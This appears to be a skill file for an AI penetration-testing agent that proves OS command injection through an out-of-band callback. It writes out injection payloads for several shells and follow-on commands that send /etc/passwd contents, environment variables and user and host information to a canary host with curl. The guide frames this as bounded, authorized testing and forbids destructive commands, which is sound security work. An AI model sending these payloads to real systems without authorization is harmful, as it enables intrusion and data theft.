command-injection-rce

name	command-injection-rce
description	Turn suspected OS command injection (a parameter that lands in a shell or a child process) into proof of remote code execution via an OAST callback, plus one safe demonstration of follow-on impact (read a file, list users, env dump). Use when a parameter feeds an exec/spawn/system call, when payloads with $(), `` ` ``, `;`, `|`, `&&` cause response differences, or when audit flags CWE-78 / CWE-77. Never sends destructive commands.
license	MIT
allowed-tools	["query_records","inspect_record","replay_request","oast_mint","oast_poll","attack_kit","report_finding","update_finding","remember","update_plan"]

Command Injection → RCE Proof

You have a parameter that smells like it lands in a shell or process exec call. Your job is to prove arbitrary command execution by getting an OAST callback from the server, then demonstrate one minimal follow-on action (a file read, an env dump). Reporting "the response changed when I sent ;" is not enough.

When this skill applies

• A parameter feeds something likely to exec: cmd=, host= (ping), target= (traceroute), file= (image conversion, PDF render, zip/tar), filter=, format= (ffmpeg, imagemagick), name= on a user-management endpoint that shells out.
• Response differs when you send characters that have shell meaning: ;, |, &, &&, ||, `, $(...), \n.
• A 500 error message reveals a binary name (sh, bash, convert, ffmpeg, ImageMagick, node, python, php) in the stack trace or response body.
• Audit finding: CWE-78 (OS command injection), CWE-77 (command injection), CWE-94 (code injection).

Workflow

1. Confirm a shell metacharacter changes behavior

Pick a candidate parameter from query_records + inspect_record. Send three replay_request probes:

• Baseline: harmless value (e.g. 8.8.8.8 for a ping endpoint).
• 8.8.8.8; → trailing separator. Status / length differential?
• 8.8.8.8 && echo hi → does hi appear in the response, or does the response take longer?

If none of these change the response, the parameter is probably sanitized or doesn't shell out. Stop and pick another candidate.

remember the candidate parameter and which metacharacter triggered the differential (key: cmdinj-target).

2. Confirm execution via OAST

Mint a canary with oast_mint (kind: cmdinj-probe). Inject a payload that performs a DNS or HTTP request to the canary. Choose the encoding by the suspected OS / language:

• Generic shell: value; curl <canary> or value && nslookup <canary>
• Backticks: value`` curl `` (works insh/bash`).
• $() substitution: value$(curl <canary>).
• Windows cmd.exe: value & nslookup <canary> (note the single &).
• PowerShell: value; Invoke-WebRequest <canary>.

Use attack_kit with class: "cmd-injection" to pull canonical payload patterns for the parameter's encoding (URL vs JSON vs header).

Poll oast_poll for 60 seconds. The first DNS or HTTP callback proves execution. DNS-only is still proof (most internal hosts can resolve external names even when HTTP egress is blocked).

remember the callback proof (timestamp, payload, callback URL) with key cmdinj-proof.

3. One follow-on demonstration

Once RCE is proven, send ONE additional payload to size impact. Pick the cheapest demo that establishes "the attacker has hands on the box":

• File read: ; curl <canary>?d=$(cat /etc/passwd | base64) (base64 to survive DNS encoding; expect truncation).
• Env dump: ; env | curl --data-binary @- <canary>
• Hostname / user: ; (whoami; hostname; id) | curl --data-binary @- <canary>

Wait for the callback. Decode the leaked data (base64 if you used it). Include ONE line of the leaked data in the finding — not the whole /etc/passwd.

Do not run destructive commands: no rm, no > /etc/..., no package installs, no port scans, no reverse shells, no persistent mechanisms. The callback + one small data fetch is sufficient proof.

4. Persist the finding

report_finding:

• severity: critical — OS command execution on the server is always critical regardless of what you leaked.
• title: name the endpoint, parameter, and the proof: "OS command injection in /api/render filter parameter; OAST callback + reads /etc/passwd".
• cwe_id: CWE-78.
• description: 3-4 sentences. The endpoint, the trigger metacharacter, the OAST callback timestamp, and one masked line of the follow-on demo (e.g., "first /etc/passwd line: root:x:0:0:...").
• Include the exact payload that triggered the callback.

Pitfalls

• A response delay when you send ; sleep 5 is suggestive but not proof — networking jitter and shared rate limiters cause similar delays. Require an OAST callback before claiming RCE.
• Some sandboxes (gVisor, nsjail) restrict egress; DNS-only callbacks may be all you get. Note that explicitly in the finding.
• Image processors (convert, ffmpeg) sometimes have shell injection via filenames or annotation fields — these surfaces are less obvious than cmd=; check filenames.
• Argument-injection (without shell) is a related but distinct flaw — --config=/etc/passwd against a tool that reads --config files. Still report as CWE-77 / CWE-78 if it leaks data.
• If the callback URL is base64-encoded data, decode and read it before reporting — sometimes the payload encoding garbled the data in transit and what you have is just truncated noise, not proof.

Output expectations

• One report_finding (critical) with payload + callback timestamp + one masked line of leaked data.
• A remember note (key: cmdinj-proof) with the canonical payload.
• Plan item marked done.